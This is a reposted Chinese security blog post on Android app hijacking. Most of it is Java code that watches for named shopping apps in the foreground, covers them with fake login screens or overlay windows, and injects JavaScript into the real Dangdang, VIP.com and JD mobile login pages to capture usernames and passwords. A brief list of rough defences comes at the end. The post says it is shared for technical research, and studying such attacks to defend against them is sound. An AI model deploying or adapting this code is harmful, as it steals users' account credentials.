admin管理员组

文章数量:1597475

转自:http://blog.nsfocus/app-client-hijacking-simple-protection/

Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。本文将要归纳Android各个版本可以使用的检测当前运行的APP的方法,及附带webview的劫持示例。

文章目录

  • 1、getRunningTasks(android5.0之前)
  • 2、Accessibility Service(辅助功能,一直可用)
  • 3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)
  • 4、UsageStatsManager(Android5.0引入)
  • 5、webview
  • 防护方法

1、getRunningTasks(android5.0之前)

1 2 3 4 5 6 7 8 9 10 11 12 ActivityManager am = ( ActivityManager ) getBaseContext ( ) . getSystemService ( Context . ACTIVITY_SERVICE ) ; ComponentName cn = am . getRunningTasks ( 1 ) . get ( 0 ) . topActivity ; String packageName = cn . getPackageName ( ) ; List list = Arrays . asList ( TARGET_APPS ) ; if ( packageName != null & amp ; & amp ; list . contains ( packageName ) ) {          Intent i = new Intent ( ) ;          i . setClassName ( "com.haoren.hijack" , "com.haoren.hijack.Login" ) ;          i . setFlags ( Intent . FLAG_ACTIVITY_NEW_TASK ) ;          getApplicationContext ( ) . startActivity ( i ) ;          break ;          }

getRunningTasks需要使用权限android:name=”android.permission.GET_TASKS”

除了使用activity覆盖目标APP,还可以使用alertwindow(模态弹窗),如下demo

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 view = LayoutInflater . from ( getApplicationContext ( ) ) . inflate ( R . layout . login , null ) ; wm = ( WindowManager ) getSystemService ( Context . WINDOW_SERVICE ) ; final WindowManager . LayoutParams params = new WindowManager . LayoutParams ( ) ; params . type = WindowManager . LayoutParams . TYPE_SYSTEM_ALERT ; int flags1 = WindowManager . LayoutParams . FLAG_ALT_FOCUSABLE_IM ; params . flags = flags1 ; params . width = LayoutParams . MATCH_PARENT ; params . height = LayoutParams . MATCH_PARENT ; params . gravity = Gravity . CENTER ; wm . addView ( view , params ) ; //设置不响应任何按键,可拒绝服务 view . setOnKeyListener ( new OnKeyListener ( ) {          @ Override      public boolean onKey ( View v , int keyCode , KeyEvent event ) {          switch ( keyCode ) {          case KeyEvent . KEYCODE_BACK :                  if ( wm != null )                          wm . removeView ( view ) ;              return true ;          default :              return false ;          }      } } ) ;

alertwindow需要使用权限android:name=”android.permission.SYSTEM_ALERT_WINDOW”

2、Accessibility Service(辅助功能,一直可用)

(Accessibility Service,需要引导用户在手机 “设置” 中激活才能有效,需要使用权限android:name=”android.permission.BIND_ACCESSIBILITY_SERVICE“)

在Accessibility Service的onAccessibilityEvent回调函数中,可以检测到当前执行的APP,如下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @ Override          public void onAccessibilityEvent ( AccessibilityEvent arg0 ) {                  String topActivity = null ;                  String s = "" ;                  if ( arg0 != null ) {                          if ( arg0 . getPackageName ( ) != null ) {                                  topActivity = arg0 . getPackageName ( ) . toString ( ) ;                          }                          if ( arg0 . getText ( ) != null ) {                                  s = arg0 . getText ( ) . toString ( ) . split ( "," ) [ 0 ] . replace ( "[" , "" ) . replace ( "]" , "" ) ;                          }                  }                  //if(topActivity.equals("com.achievo.vipshop") && s.equals("登 录")){                  if ( topActivity . equals ( "com.achievo.vipshop" ) ) {                          Log . i ( "accessibility" , "xxxx" + s ) ;                          Intent i = new Intent ( ) ;                          i . setClassName ( "com.haoren.hijack" , "com.haoren.hijack.Login" ) ;                          i . setFlags ( Intent . FLAG_ACTIVITY_NEW_TASK ) ;                          getApplicationContext ( ) . startActivity ( i ) ;                  }          }

3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)

使用github中的AndroidProcesses库,可以直接获取,如下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 PackageManager pm = getApplicationContext ( ) . getPackageManager ( ) ; AndroidAppProcess target = null ; List list = Arrays . asList ( TARGET_APPS ) ; String pName = null ; while ( true ) { target = null ; List processes = AndroidProcesses . getRunningAppProcesses ( ) ; for ( AndroidAppProcess a : processes ) { PackageInfo packageInfo ; try { Stat stat = a . stat ( ) ; int pid = stat . getPid ( ) ; packageInfo = a . getPackageInfo ( getApplicationContext ( ) , 0 ) ; String appName = packageInfo . applicationInfo . loadLabel ( pm ) . toString ( ) ; pName = packageInfo . packageName ; if ( appName != null & amp ; & amp ; list . contains ( pName ) & amp ; & amp ; new AndroidAppProcess ( pid ) . foreground ) { target = a ; Log . i ( "xu" , "xuxu" + pid ) ; break ; } } catch ( Exception e ) { e . printStackTrace ( ) ; } } if ( target != null ) { Log . i ( "xu" , "xuxu" + pName ) ; //do something here break ; } }

4、UsageStatsManager(Android5.0引入)

需要系统级别权限android.permission.PACKAGE_USAGE_STATS(系统签名的APP能使用该权限),参见

github中的android-overlay-malware-example

5、webview

webview加载目标m站后,再加载恶意js,劫持用户输入,如下

webview添加java接口:

webView.addJavascriptInterface(new MyJavaScriptInterface(), “MYOBJECT”);

然后覆盖setWebViewClient的onPageFinished,插入js代码,劫持用户输入

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 @ Override public void onPageFinished ( WebView view , String url ) {      super . onPageFinished ( view , url ) ;                   StringBuilder sb = new StringBuilder ( ) ;      if ( url . contains ( "vip" ) ) {          sb . append ( "document.getElementByIdx_x_x_x_x('J_topDownloadBar').style.display='none';" ) ;      }      if ( url . contains ( "mpassport.dangdang" ) ) {          sb . append ( "document.getElementByIdx_x_x_x_x('password').οnblur=function(){" ) ;          sb . append ( "var objPWD, objAccount;var str = 'dangdang';" ) ;          sb . append ( "objAccount = document.getElementByIdx_x_x_x_x('username');" ) ;          sb . append ( "objPWD = document.getElementByIdx_x_x_x_x('password');" ) ;          sb . append ( "if (objAccount != null) {str += objAccount.value;}" ) ;          sb . append ( "if (objPWD != null) { str += ' , ' + objPWD.value;}" ) ;          sb . append ( "window.MYOBJECT.processHTML(str);" ) ;          sb . append ( "return true;" ) ;          sb . append ( "};" ) ;      } else if ( url . contains ( "mlogin.vip" ) ) {          sb . append ( "document.getElementByIdx_x_x_x_x('inputPsw').οnblur=function(){" ) ;          sb . append ( "var objPWD, objAccount;var str = 'vip';" ) ;          sb . append ( "objAccount = document.getElementByIdx_x_x_x_x('inputName');" ) ;          sb . append ( "objPWD = document.getElementByIdx_x_x_x_x('inputPsw');" ) ;          sb . append ( "if (objAccount != null) {str += objAccount.value;}" ) ;          sb . append ( "if (objPWD != null) { str += ' , ' + objPWD.value;}" ) ;          sb . append ( "window.MYOBJECT.processHTML(str);" ) ;          sb . append ( "return true;" ) ;          sb . append ( "};" ) ;      } else if ( url . contains ( "plogin.m.jd" ) ) {          sb . append ( "document.getElementsByClassName('txt-input txt-password')[0].οnblur=function(){" ) ;          sb . append ( "var objPWD, objAccount;var str = 'jd';" ) ;          sb . append ( "objAccount = document.getElementsByClassName('txt-input txt-username')[0];" ) ;          sb . append ( "objPWD = document.getElementsByClassName('txt-input txt-password')[0];" ) ;          sb . append ( "if (objAccount != null) {str += objAccount.value;}" ) ;          sb . append ( "if (objPWD != null) { str += ' , ' + objPWD.value;}" ) ;          sb . append ( "window.MYOBJECT.processHTML(str);" ) ;          sb . append ( "return true;" ) ;          sb . append ( "};" ) ;      } else {          sb . append ( "document.getElementsByTagName_r('form')[0].onsubmit = function () {" ) ;          sb . append ( "var objPWD, objAccount;var str = 'other';" ) ;          sb . append ( "var inputs = document.getElementsByTagName_r('input');" ) ;          sb . append ( "for (var i = 0; i < inputs.length; i++) {" ) ;          sb . append ( "if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}" ) ;          sb . append ( "else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}" ) ;          sb . append ( "}" ) ;          sb . append ( "if (objAccount != null) {str += objAccount.value;}" ) ;          sb . append ( "if (objPWD != null) { str += ' , ' + objPWD.value;}" ) ;          sb . append ( "window.MYOBJECT.processHTML(str);" ) ;          sb . append ( "return true;" ) ;          sb . append ( "};" ) ;         }      view . loadUrl ( "javascript:" + sb . toString ( ) ) ; }

以上是个人归纳的客户端劫持可能的途径(此类攻击难度较大,分享出来作技术研究)

防护方法

最后,一个粗略的防护方案:

①、对于界面(activity)覆盖,可以利用同样的方法,判断是否为自身在activity栈顶。

②、alertwindow不是activity栈机制,依然无法检测。在android6.0之后,如果app是从Play  Store安装的,则SYSTEM_ALERT_WINDOW自动允许,如果是其他途径安装的则需要用户手动在设置中开启 悬浮窗 权限。

另外重载onFilterTouchEventForSecurity函数可以进行安全检测(未测)

③、对Accessibility Service这类,只有提高用户的安全意识方面着手

④、对于webview类型的劫持,可以利用js计算当前页面是否被篡改过

⑤、对于/proc/目录和UsageStatsManager两个 Android系统方面也有相应的防护

文章分类:  安全分享 
文章关键词:  Android APP客户端安全评估中,  APP客户端,  App客户端劫持,  安卓会话劫持,  安卓劫持,  客户端劫持 
转载请注明:“转自绿盟科技博客”:  原文链接.

本文标签: 客户端防护简单app